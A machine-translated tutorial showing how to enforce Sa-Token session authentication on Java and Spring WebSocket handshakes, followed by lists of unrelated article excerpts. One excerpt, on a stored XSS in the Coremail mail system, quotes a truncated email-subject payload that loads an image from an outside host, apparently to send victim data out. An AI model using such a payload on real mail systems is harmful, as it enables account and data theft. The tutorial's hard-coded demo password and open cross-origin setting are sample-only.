Preface

Compared with Http Single communication mode ,WebSocket You can actively push messages from the server to the browser , This feature can help us accomplish things like Order message push 、IM Live chat And other specific businesses .

However WebSocket I am right “ Identity Authentication ” No direct support , The default connection to the client is “ All's fish that comes to his net ”, So authentication and authorization , We have to do it ourselves .

Sa-Token It's a java Authorization framework , It mainly solves login authentication 、 Permission authentication 、 Single sign on 、OAuth2、 Micro service gateway Authentication And so on .

GitHub Open source address :https://github.com/dromara/sa-token

Now let's introduce how to WebSocket In the integration Sa-Token Identity Authentication , Ensure the security of the connection .

Two ways to integrate

We will introduce the two most common integrations in turn WebSocket The way :

  • Java Original version :javax.websocket.Session
  • Spring Package version :WebSocketSession

I don't say much nonsense , Directly :

Mode one :Java Original version javax.websocket.Session

1、 The first is introduction pom.xml rely on
<!-- SpringBoot rely on  -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency> <!-- WebScoket rely on -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-websocket</artifactId>
</dependency> <!-- Sa-Token Permission authentication , Online document :http://sa-token.dev33.cn/ -->
<dependency>
<groupId>cn.dev33</groupId>
<artifactId>sa-token-spring-boot-starter</artifactId>
<version>1.29.0</version>
</dependency>
2、 Login interface , Used to get a session token
/**
* Log on to the test
*/
@RestController
@RequestMapping("/acc/")
public class LoginController { // Test login ---- http://localhost:8081/acc/doLogin?name=zhang&pwd=123456
@RequestMapping("doLogin")
public SaResult doLogin(String name, String pwd) {
// Here is only a simulation example , Real projects need to query data from the database for comparison
if("zhang".equals(name) && "123456".equals(pwd)) {
StpUtil.login(10001);
return SaResult.ok(" Login successful ").set("token", StpUtil.getTokenValue());
}
return SaResult.error(" Login failed ");
} // ... }
3、WebSocket Connection processing
@Component
@ServerEndpoint("/ws-connect/{satoken}")
public class WebSocketConnect { /**
* Fixed prefix
*/
private static final String USER_ID = "user_id_"; /**
* Deposit Session aggregate , Easy to push messages (javax.websocket.Session)
*/
private static ConcurrentHashMap<String, Session> sessionMap = new ConcurrentHashMap<>(); // monitor : Successful connection
@OnOpen
public void onOpen(Session session, @PathParam("satoken") String satoken) throws IOException { // according to token Get the corresponding userId
Object loginId = StpUtil.getLoginIdByToken(satoken);
if(loginId == null) {
session.close();
throw new SaTokenException(" The connection fails , Invalid Token:" + satoken);
} // put To the assembly , Convenient follow-up operation
long userId = SaFoxUtil.getValueByType(loginId, long.class);
sessionMap.put(USER_ID + userId, session); // Give me a hint.
String tips = "Web-Socket Successful connection ,sid=" + session.getId() + ",userId=" + userId;
System.out.println(tips);
sendMessage(session, tips);
} // monitor : Connection is closed
@OnClose
public void onClose(Session session) {
System.out.println(" Connection is closed ,sid=" + session.getId());
for (String key : sessionMap.keySet()) {
if(sessionMap.get(key).getId().equals(session.getId())) {
sessionMap.remove(key);
}
}
} // monitor : Received a message from the client
@OnMessage
public void onMessage(Session session, String message) {
System.out.println("sid by :" + session.getId() + ", From :" + message);
} // monitor : Something goes wrong
@OnError
public void onError(Session session, Throwable error) {
System.out.println("sid by :" + session.getId() + ", An error occurred ");
error.printStackTrace();
} // --------- // Push a message to the specified client
public static void sendMessage(Session session, String message) {
try {
System.out.println(" towards sid by :" + session.getId() + ", send out :" + message);
session.getBasicRemote().sendText(message);
} catch (IOException e) {
throw new RuntimeException(e);
}
} // Push a message to a specified user
public static void sendMessage(long userId, String message) {
Session session = sessionMap.get(USER_ID + userId);
if(session != null) {
sendMessage(session, message);
}
} }
4、WebSocket To configure
/**
* Turn on WebSocket Support
*/
@Configuration
public class WebSocketConfig { @Bean
public ServerEndpointExporter serverEndpointExporter() {
return new ServerEndpointExporter();
} }
5、 Start class
@SpringBootApplication
public class SaTokenWebSocketApplication { public static void main(String[] args) {
SpringApplication.run(SaTokenWebSocketApplication.class, args);
} }

Set up , Start project

6、 test

1、 First, we access the login interface , Get the conversation token

http://localhost:8081/acc/doLogin?name=zhang&pwd=123456

As shown in the figure :

2、 Then we'll find one WebSocket Connect to the online test page

, for example :https://www.bejson.com/httputil/websocket/

Connection address :

ws://localhost:8081/ws-connect/302ee2f8-60aa-42aa-8ecb-eeae5ba57015

As shown in the figure :

3、 If we enter a wrong token, What will happen? ?

You can see , The connection will be immediately disconnected !

Mode two :Spring Package version :WebSocketSession

1、 ditto : The first is introduction pom.xml rely on
<!-- SpringBoot rely on  -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency> <!-- WebScoket rely on -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-websocket</artifactId>
</dependency> <!-- Sa-Token Permission authentication , Online document :http://sa-token.dev33.cn/ -->
<dependency>
<groupId>cn.dev33</groupId>
<artifactId>sa-token-spring-boot-starter</artifactId>
<version>1.29.0</version>
</dependency>
2、 Login interface , Used to get a session token
/**
* Log on to the test
*/
@RestController
@RequestMapping("/acc/")
public class LoginController { // Test login ---- http://localhost:8081/acc/doLogin?name=zhang&pwd=123456
@RequestMapping("doLogin")
public SaResult doLogin(String name, String pwd) {
// Here is only a simulation example , Real projects need to query data from the database for comparison
if("zhang".equals(name) && "123456".equals(pwd)) {
StpUtil.login(10001);
return SaResult.ok(" Login successful ").set("token", StpUtil.getTokenValue());
}
return SaResult.error(" Login failed ");
} // ... }
3、WebSocket Connection processing
/**
* Handle WebSocket Connect
*/
public class MyWebSocketHandler extends TextWebSocketHandler { /**
* Fixed prefix
*/
private static final String USER_ID = "user_id_"; /**
* Deposit Session aggregate , Easy to push messages
*/
private static ConcurrentHashMap<String, WebSocketSession> webSocketSessionMaps = new ConcurrentHashMap<>(); // monitor : Connection on
@Override
public void afterConnectionEstablished(WebSocketSession session) throws Exception { // put To the assembly , Convenient follow-up operation
String userId = session.getAttributes().get("userId").toString();
webSocketSessionMaps.put(USER_ID + userId, session); // Give me a hint.
String tips = "Web-Socket Successful connection ,sid=" + session.getId() + ",userId=" + userId;
System.out.println(tips);
sendMessage(session, tips);
} // monitor : Connection is closed
@Override
public void afterConnectionClosed(WebSocketSession session, CloseStatus status) throws Exception {
// Remove from collection
String userId = session.getAttributes().get("userId").toString();
webSocketSessionMaps.remove(USER_ID + userId); // Give me a hint.
String tips = "Web-Socket Connection is closed ,sid=" + session.getId() + ",userId=" + userId;
System.out.println(tips);
} // Received a message
@Override
public void handleTextMessage(WebSocketSession session, TextMessage message) throws IOException {
System.out.println("sid by :" + session.getId() + ", From :" + message);
} // ----------- // Push a message to the specified client
public static void sendMessage(WebSocketSession session, String message) {
try {
System.out.println(" towards sid by :" + session.getId() + ", send out :" + message);
session.sendMessage(new TextMessage(message));
} catch (IOException e) {
throw new RuntimeException(e);
}
} // Push a message to a specified user
public static void sendMessage(long userId, String message) {
WebSocketSession session = webSocketSessionMaps.get(USER_ID + userId);
if(session != null) {
sendMessage(session, message);
}
} }
4、WebSocket Front interceptor
/**
* WebSocket The front interceptor of handshake
*/
public class WebSocketInterceptor implements HandshakeInterceptor { // Trigger before handshake (return true Will shake hands successfully )
@Override
public boolean beforeHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler handler,
Map<String, Object> attr) { System.out.println("---- Trigger before handshake " + StpUtil.getTokenValue()); // Refuse to shake hands without logging in
if(StpUtil.isLogin() == false) {
System.out.println("---- Unauthorized client , The connection fails ");
return false;
} // Mark userId, Shake hands with success
attr.put("userId", StpUtil.getLoginIdAsLong());
return true;
} // Trigger after handshake
@Override
public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler,
Exception exception) {
System.out.println("---- Trigger after handshake ");
} }
5、WebSocket To configure
/**
* WebSocket Related configuration
*/
@Configuration
@EnableWebSocket
public class WebSocketConfig implements WebSocketConfigurer { // register WebSocket processor
@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry webSocketHandlerRegistry) {
webSocketHandlerRegistry
// WebSocket Connecting the processor
.addHandler(new MyWebSocketHandler(), "/ws-connect")
// WebSocket Interceptor
.addInterceptors(new WebSocketInterceptor())
// Allow cross-domain
.setAllowedOrigins("*");
} }
6、 Start class
/**
* Sa-Token Integrate WebSocket Authentication example
*/
@SpringBootApplication
public class SaTokenWebSocketSpringApplication { public static void main(String[] args) {
SpringApplication.run(SaTokenWebSocketSpringApplication.class, args);
} }

Start project , Start testing

7、 test

1、 First access the login interface , Get the conversation token

http://localhost:8081/acc/doLogin?name=zhang&pwd=123456

As shown in the figure :

2、 Then open the WebSocket Connect to the online test page

, for example :https://www.bejson.com/httputil/websocket/

Connection address :

ws://localhost:8081/ws-connect?satoken=fe6e7dbd-38b8-4de2-ae05-cda7e36bf2f7

As shown in the figure :

notes : Here the url Pass on Token Because it is more convenient on the third-party test page , In real projects, you can learn from Cookie、Header Parameters 、url Parameters Choose one of three ways to pass the session token , Same effect

3、 If you enter an incorrect Token

The connection fails !

The sample address

The above code has been uploaded git, The sample address :

Code cloud :sa-token-demo-websocket

Reference material

Use Sa-Token solve WebSocket More articles about handshake authentication

  1. be based on token Multi platform identity authentication architecture design

    be based on token Multi platform identity authentication architecture design 1    summary In the information system where the account system exists , Identification is a very important thing . With the advent of mobile Internet era , There are more and more types of clients , Gradually came   One server ,N A client's lattice ...

  2. WebApi be based on token Multi platform identity authentication architecture design

    1    summary In the information system where the account system exists , Identification is a very important thing . With the advent of mobile Internet era , There are more and more types of clients , Gradually came   One server ,N Client pattern  . Different clients produce different users ...

  3. be based on Token Multi platform identity authentication price design

    1    summary In the information system where the account system exists , Identification is a very important thing . With the advent of mobile Internet era , There are more and more types of clients , Gradually came   One server ,N Client pattern  . Different clients produce different users ...

  4. ASP.NET Core series :JWT Identity Authentication

    1. JWT summary JSON Web Token(JWT) It is a popular cross domain authentication solution . JWT Official website :https://jwt.io JWT The implementation of is to store user information on the client , The server does not save . ...

  5. 【Shiro】Apache Shiro Identity authentication of architecture (Authentication)

    Shiro Series articles : [Shiro]Apache Shiro Authority authentication of architecture (Authorization) [Shiro]Apache Shiro Integration of architecture web [Shiro]Apache Shiro ...

  6. Shiro Identity Authentication -JdbcRealm

    Subject Subject of certification Subject The authentication subject contains two pieces of information Principals : identity , It can be a user name . mailbox . Phone number etc. , Used to identify the identity of a login principal . Credentials : voucher , There are common passwords , Count ...

  7. webapp User authentication scheme JSON WEB TOKEN Realization

    webapp User authentication scheme JSON WEB TOKEN Realization Deme Example ,Java edition This project relies on the following jar package : nimbus-jose-jwt-4.13.1.jar ( An open source, mature JSON ...

  8. stay ASP.NET Core Use in Angular2, As well as Angular2 Of Token base Identity Authentication

    notes : To download the complete code examples mentioned in this article, please visit :How to authorization Angular 2 app with asp.net core web api stay ASP.NET Core Use in Angu ...

  9. stay ASP.NET Core To achieve one Token base Identity authentication

    notes : The code sample download address mentioned in this article > How to achieve a bearer token authentication and authorization in ASP.NET Core stay ...

  10. [ turn ]NET Core To achieve one Token base Identity authentication

    In this paper, from :http://www.cnblogs.com/Leo_wl/p/6077203.html notes : The code sample download address mentioned in this article > How to achieve a bearer token ...

Random recommendation

  1. With the help of GitHub Hosting your project code

    PS: Say oneself registered GitHub It's been a long time , But I didn't do much , Now learn systematically , Also summarize your learning experience share For everyone , I hope everyone can put GitHub To use , Put your project code happy To trust ! One . basic ...

  2. -bash: sudo: command not found Error and Solution

    Article transferred from : http://www.cyberciti.biz/faq/debian-ubuntu-rhel-centos-linux-bash-sudo-command-not-found/ install su ...

  3. HDOJ 1874

    Unimpeded project continued Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Subm ...

  4. Coremail Mail system storage XSS Two

    (1):Coremail Mail system storage XSS One of Send the victim an email with the following subject : <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  5. How can I get through LAN IP Look at each other MAC

    stay cmd Command status check input Enter into :nbtstat -a IPIP The address is what you need to look up IP Address , Such as 192.168.1.200, The effect is as follows :

  6. Chrome plug-in unit vimium Shortcut key

    vimium It's one that allows you to chrome The browser can easily use the keyboard to operate the plug-in of the browser . from :http://www.cnblogs.com/liuyangnuts/p/3474905.html Navigate through the current page ...

  7. php A regular relation between a half angle and a full angle

    Full confirmation of half angle , Confirmation rule with small initial sound ^[ア-ン゙゚ァ-ョッヲー -]+$ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset// ...

  8. nodejs Route writing in projects

    // Two ways to write routing , One is encapsulated as a function , Return results , This method can pass parameters , "use strict"; var _ = require("lodash"); var e ...

  9. jQ Plug in writing

    Reference documents :http://www.cnblogs.com/Dlonghow/p/4142034.html Writing plug-ins first comes into contact with jQuery.fn.extend and jQuery.extend These two ...

  10. software testing homework2

    One .Checkstyle Installation and use 1.checkstyle Plug-in package :http://sourceforge.net/projects/eclipse-cs/ checkstyle.xml The configuration file :htt ...